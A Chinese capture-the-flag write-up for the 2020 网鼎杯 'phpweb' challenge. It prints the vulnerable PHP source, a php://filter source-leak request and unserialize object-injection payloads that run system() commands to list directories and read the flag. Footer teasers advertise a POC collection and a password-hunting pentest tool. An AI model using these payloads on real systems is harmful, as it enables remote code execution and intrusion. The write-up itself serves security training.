[网鼎杯 2020 朱雀组]phpweb

news/2024/10/5 5:15:00


仔细地话可以看到这题每个一段时间就会刷新一次页面,而且后面还会有一个时间,就很可疑,抓个包试试


果然多了几个参数func=date&p=Y-m-d+h%3Ai%3As+a
经过搜索

发现这是一个函数(用来显示时间,也就证实了前面地图片为什么会出现时间地原因)
于是试着就修改函数和参数来执行命令
但是最后输出了hacker,所以判断此处存在过滤,这里就利用file_get_contents函数来获取源码
func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php
最后成功拿到源码,拿去base64解码

拿出其中的php代码

    <?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>

可以看到禁用了很多函数,但是注意到Test类中有个__destruct魔术方法,这个方法最后会调用gettime()函数,并输出结果
首先来看gettime()函数

    function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}

这里将Test类中的两个变量传入作为这个函数的参数,
$result = call_user_func($func, $p);
这个call_user_func($func, $p)的意思其实就是将$p作为$func的参数,然后执行$func函数
如:

function func($a){echo $a;
}
而call_user_func($func,$p)就相当于执行
function func($p)
{echo $p;
}

然后将结果赋给$result,再将$result的类型(string,int)赋值给$a,最后进行比较
所以这里思路就出来了,利用反序列化函数unserialize()调用 __destruct()魔术方法(跳过黑名单检测),将想要执行的命令放入$p中,就可以了
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

可以看到执行成功了,而现在的问题是不知道flag在哪里,需要要到linux操作的知识
find / -name flag*(记得修改序列化字符串前面的长度)

最后的payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/57900.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

【漏洞分享】2018年-2024年HVV 6000+个漏洞 POC 合集分享

此份poc 集成了Zabbix、用友、通达、Wordpress、Thinkcmf、Weblogic、Tomcat等 下载链接: 链接: https://pan.quark.cn/s/1cd7d8607b8a看着就真的看着,不学就真的5

【工具推荐】FindEverything(最新版) - 内网渗透必备 敏感文件搜索工具

工具介绍 内网渗透过程中搜寻指定文件内容,从而找到突破口的一个小工具 下载链接: 链接: https://pan.quark.cn/s/067a43165790使用说明 python3 FindEverything.py -n .txt,.ini,.yaml,.php,.jsp,.java,.xml,.sql -c "password=" -d D:/ python3 FindEverything.p…

不可不知的WPF几何图形(Geometry)

在软件行业,经常会听到一句话“文不如表,表不如图”说明了图形在软件应用中的重要性。同样在WPF开发中,为了程序美观或者业务需要,经常会用到各种个样的图形。今天以一些简单的小例子,简述WPF开发中几何图形(Geometry)相关内容,仅供学习分享使用,如有不足之处,还请指…

[Spring]MyBatis的执行原理

MyBatis的执行原理详细介绍 为了使大家能够更加清晰的理解MyBatis程序,在正式讲解MyBatis入门案例之前,先来了解一下MyBatis程序的工作原理,如图1所示。 MyBatis的工作原理从图1可以看出,MyBatis框架在操作数据库时,大体经过了8个步骤。下面就对图1中的每一步流程进行详细…

Linux 磁盘管理

1.磁盘分类磁盘,硬盘 != 内存HDD(hard)机械硬盘. SSD(solid)固态硬盘. 磁盘接口:类似于水壶的壶嘴,决定了磁盘最大速度. ⭐硬盘选项 说明 容量转速机械硬盘 SATA 备份服务器,性能要求不高场景,10k rpm 4tb 8tb 10tb 根据需要选择(未来规划)机械硬盘 SAS 企业环境标配,生产环境使…

逐月信息学——2024初秋集训——提高组 #22

A. 牛牛的方程式 题目描述 给定一个三元一次方程 \(ax+by+cz=d\),求该方程是否存在整数解。 思路 由于若干个 \(a,b,c\) 只能凑出 \(\gcd (a,b,c)\) 的倍数,所以只需判断 \(d\) 是否为 \(\gcd(a,b,c)\) 的倍数即可。特别的,若 \(a,b,c\) 均为 \(0\),则显然只有 \(d=0\) 时存…

SpringBoot发送邮件

0 导入发送邮件的依赖包 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-mail</artifactId> </dependency>1 获取邮件授权码2 配置yml文件 spring:mail:#smtp服务主机 qq邮箱则为smtp.qq.comh…